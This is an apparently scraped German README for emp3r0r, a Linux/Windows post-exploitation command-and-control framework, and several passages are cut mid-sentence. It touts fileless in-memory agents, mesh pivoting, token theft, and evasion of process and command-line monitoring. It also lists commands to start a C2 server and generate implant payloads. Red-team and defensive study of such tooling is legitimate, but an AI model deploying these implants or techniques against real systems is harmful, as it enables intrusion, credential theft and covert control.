
Selbstheilendes Gossip Mesh C2 mit assistierter Peer-Erkennung, plattformübergreifender BOF-Ausführung und skriptfähigen Agenten.
Selbstheilendes Gossip-Mesh-C2 mit unterstützter Peer-Erkennung, plattformübergreifender BOF-Ausführung und skriptbaren Agenten.
emp3r0r ist ein fortschrittliches Post-Exploitation-Framework mit Zero-Trust-Architektur und ein Command-&-Control-System (C2), das für Linux- und Windows-Zielumgebungen entwickelt wurde. Von Grund auf für den Betrieb in Hochsicherheitsumgebungen konzipiert, vereint emp3r0r autonome Gossip-Mesh-Vernetzung, dateilose, rein speicherbasierte Ausführung, plattformübergreifendes BOF-Laden, Dateiübertragung zwischen Agenten und skriptbare In-Memory-Agenten, um überlegene Tarnung, operative Kontrolle und Operationssicherheit (OPSEC) zu bieten.
emp3r0r-Agenten verfügen über eine eingebettete Starlark-Scripting-Engine (ein vollständig in Go implementierter Python-Dialekt). Skripte werden dateilos im Speicher ausgeführt, ohne dass Python, Bash oder PowerShell auf dem Zielsystem installiert sein müssen.
/bin/sh, powershell.exe) zu starten oder sich auf installierte Laufzeitumgebungen zu verlassen.read_file, write_file, list_dir, mkdir, remove, exists), HTTP-Netzwerkkommunikation (http_get, http_post), Befehlsausführung (exec_cmd) und Hashing (crypto_hash) bereit.win_call, , , ) direkt aus dem Skriptcode ausführen, ohne nativen C-Code zu kompilieren.Warum das wichtig ist: Herkömmliche C2-Skriptmodule erfordern Host-Interpreter oder das Starten von Prozessen, was deutliche Spuren auf der Festplatte oder in der Befehlszeile hinterlässt. Die skriptbaren Agenten von emp3r0r führen komplexe Logik vollständig im Speicher mit nativer Systeminteraktion aus.
emp3r0r erzwingt Trust-On-First-Use (TOFU) mit strenger UUID- und Public-Key-Bindung bei der Registrierung von Agenten.
forget_agent.Warum das wichtig ist: Verhindert Session-Hijacking, das Klonen von Agenten und eine unbemerkte Identitätsdrift über operative Umgebungen hinweg.
Die gesamte C2- und Peer-Kommunikation erzwingt ECDH-Schlüsselaustausch mit per HKDF abgeleiteten Sitzungsschlüsseln.
Warum das wichtig ist: Verhindert die nachträgliche Entschlüsselung abgefangener Netzwerk-Mitschnitte.
Agenten in Netzwerksegmenten mit eingeschränktem ausgehendem Datenverkehr oder in isolierten Segmenten entdecken autonom Peers und tunneln Datenverkehr über ein gossip-basiertes (Memberlist) Mesh-Netzwerk.
Warum das wichtig ist: Das Pivotieren über segmentierte Netzwerke erfolgt autonom, ohne dass ein ständiges Eingreifen des Operators oder statische Proxy-Konfigurationen erforderlich sind.
Direkter Dateiaustausch von Agent zu Agent über den P2P-Relay-Transport (mTLS/KCP), um die Dateizustellung in internen Netzwerken zu beschleunigen.
Warum das wichtig ist: Der direkte Dateiaustausch von Agent zu Agent maximiert die Übertragungsgeschwindigkeit, umgeht Netzwerkengpässe und reduziert die Sichtbarkeit des direkten C2-Datenverkehrs.
Flexible Stage-0-Downloader-Stager und Protokoll-Listener für den Erstzugriff und die Payload-Zustellung.
.bin), eigenständigen ELF-Executables oder Shared Objects (.so).Führt In-Memory-Binärmodule sowohl auf Windows- als auch auf Linux-Zielsystemen aus:
int, short, cstr, wstr, binary) aus..o) unter Linux direkt in den Speicher des Agenten.Warum das wichtig ist: Eliminiert den Overhead der Prozesserstellung und umgeht die Überwachung der Befehlszeile, indem kompilierte C-Module prozessintern ausgeführt werden.
Agenten unter Windows können Zugriffstokens aus laufenden Prozessen stehlen, zwischenspeichern und impersonieren – vollständig prozessintern unter Verwendung indirekter NT-Syscalls.
steal_token --pid <PID> dupliziert ein Prozess-Token über NtOpenProcess + NtDuplicateToken und speichert es im Speicher, abgelegt nach SID. Optional kann die Impersonation mit --token <sid> verkettet werden, um von einer gestohlenen Identität zu einer anderen zu eskalieren.list_tokens zeigt alle zwischengespeicherten Tokens mit Namen im Format DOMAIN\User (SID) an.--token <sid>) in jedem Modul referenziert werden – Go, Starlark, COFF/BOF. Thread-Level-Impersonation (NtSetInformationThread) wird bei sensiblen Operationen angewendet.read_file, write_file, exec_cmd, Win32-API-Proxy usw.) impersonieren automatisch pro Syscall, wenn ein Token gesetzt ist, und kann über Kindprozesse unter der gestohlenen Identität starten.Warum das wichtig ist: Keine externen Tools, keine Festplatten-Artefakte, kein Prozesserstellungs-Rauschen. Tokendiebstahl und -wiederverwendung erfolgen vollständig prozessintern mit indirekten Syscalls, wobei gestohlene Tokens sofort von jedem eingebauten Modul verwendet werden können.
http_poll) mit anpassbaren HTTP-Profilen und Streaming (h2conn) über HTTP/2.Zum Erstellen von emp3r0r werden Docker oder Podman auf dem Host benötigt. Eine lokale Go-Toolchain ist nicht erforderlich.
# Clone repository
git clone --depth=1 https://github.com/jm33-m0/emp3r0r.git && cd emp3r0r
# Build inside a container and install locally
./install.sh
Der Installer kompiliert die Kern-Binaries in einem Wegwerf-Container, erzeugt das vorkompilierte emp3r0r-operator-kit.tar.zst, konfiguriert die erforderlichen Linux-Capabilities (setcap) und richtet die System-Laufzeitverzeichnisse ein.
Optionen:
./install.sh [--debug] [--disable-garble] [--prefix /usr/local] [--skip-build]
C2-Server starten:
emp3r0r server --c2-hosts 1.2.3.4 --http-port 12345 --operator-port 13377
Hinweis: Wenn die Installation mit dem Benutzer root statt mit dem üblichen sudo erfolgt, kann Ihr aktueller Benutzer emp3r0r möglicherweise nicht starten, da der Installer die Berechtigungen nicht ordnungsgemäß setzen kann. Das gilt auch für Ihre Operator-Maschinen.
Übertragen Sie das erzeugte emp3r0r-operator-kit.tar.zst auf Ihre Operator-Maschine und führen Sie den Installer aus:
tar --zstd -xpf emp3r0r-operator-kit.tar.zst
cd ./emp3r0r-operator-kit && ./install.sh
Verbinden Sie den Operator-Client mithilfe der vom Server ausgegebenen WireGuard-Tunnel-Zugangsdaten mit dem C2-Server:
emp3r0r client --c2-port 13377 \
--server-wg-key '<SERVER_WG_KEY>' \
--server-wg-ip '<SERVER_WG_IP>' \
--operator-wg-ip '<OPERATOR_WG_IP>' \
--operator-wg-key '<OPERATOR_WG_KEY>' \
--c2-host 1.2.3.4
Verwenden Sie den Befehl generate in der emp3r0r-Operator-Oberfläche, um Payloads zu generieren.
Direkter C2-Agent:
generate --type linux_executable --arch amd64 --cc your.domain.com
Mesh-Gateway-Agent:
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --direct-c2 --p2p-transport mtls
Mesh-Zwischenpeer:
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --p2p-transport mtls --peers 1.2.3.4
Wenn sich emp3r0r in Ihrer Sicherheitsforschung und Ihren Tests als wertvoll erwiesen hat, erwägen Sie, seine weitere Entwicklung über GitHub Sponsors zu unterstützen.
win_allocwin_freewin_read_memconfig.json) definiert, um eine nahtlose CLI-Parameteranalyse und -Verteilung zu ermöglichen.exec_cmdCreateProcessWithTokenW